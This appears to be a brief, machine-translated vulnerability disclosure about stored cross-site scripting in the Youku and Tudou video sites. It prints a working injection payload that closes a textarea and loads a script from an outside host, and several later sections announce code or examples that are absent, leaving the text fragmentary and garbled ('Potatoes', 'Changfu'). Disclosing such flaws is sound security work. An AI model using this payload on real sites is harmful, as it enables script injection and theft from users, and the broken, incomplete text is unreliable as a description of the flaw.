Youku & Tudou's XSS

Youku and Tudou are combined, so are their vulnerabilities. Changfu.
Detailed Description: because some basic security knowledge is not in place, the stored xss is caused.
Vulnerability proof: Test code:
</Textarea> <script src = http://tmxk.org/m/q.js> </script>
Potatoes are not filtered by the server, resulting in stored XSS.
 
 
 
 
The following code can be inserted into potato podcasts for editor reasons:
 
 
 
The tag is not filtered, but the server limits the length:
 
 
 
Youku has the same problem:
 
 



 
Solution:

Filter.

Section C of the author